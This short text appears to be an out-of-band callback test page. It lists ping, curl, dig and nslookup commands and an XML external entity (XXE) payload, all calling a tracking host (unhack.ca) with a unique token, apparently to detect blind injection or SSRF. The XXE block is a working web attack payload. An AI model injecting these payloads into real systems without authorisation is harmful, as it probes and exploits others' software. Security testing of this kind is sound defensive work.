$ ping -c1 -p 00c1c3bb2c66bac680a289e5ddd13100 unhack.ca
 

$ curl http://unhack.ca/p/c1c3bb2c66bac680a289e5ddd131
 

$ dig c1c3bb2c66bac680a289e5ddd131 @unhack.ca
 

$ dig c1c3bb2c66bac680a289e5ddd131.ns.unhack.ca
 

C:\> nslookup c1c3bb2c66bac680a289e5ddd131 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/c1c3bb2c66bac680a289e5ddd131">]>
    <foo>&xxe;</foo>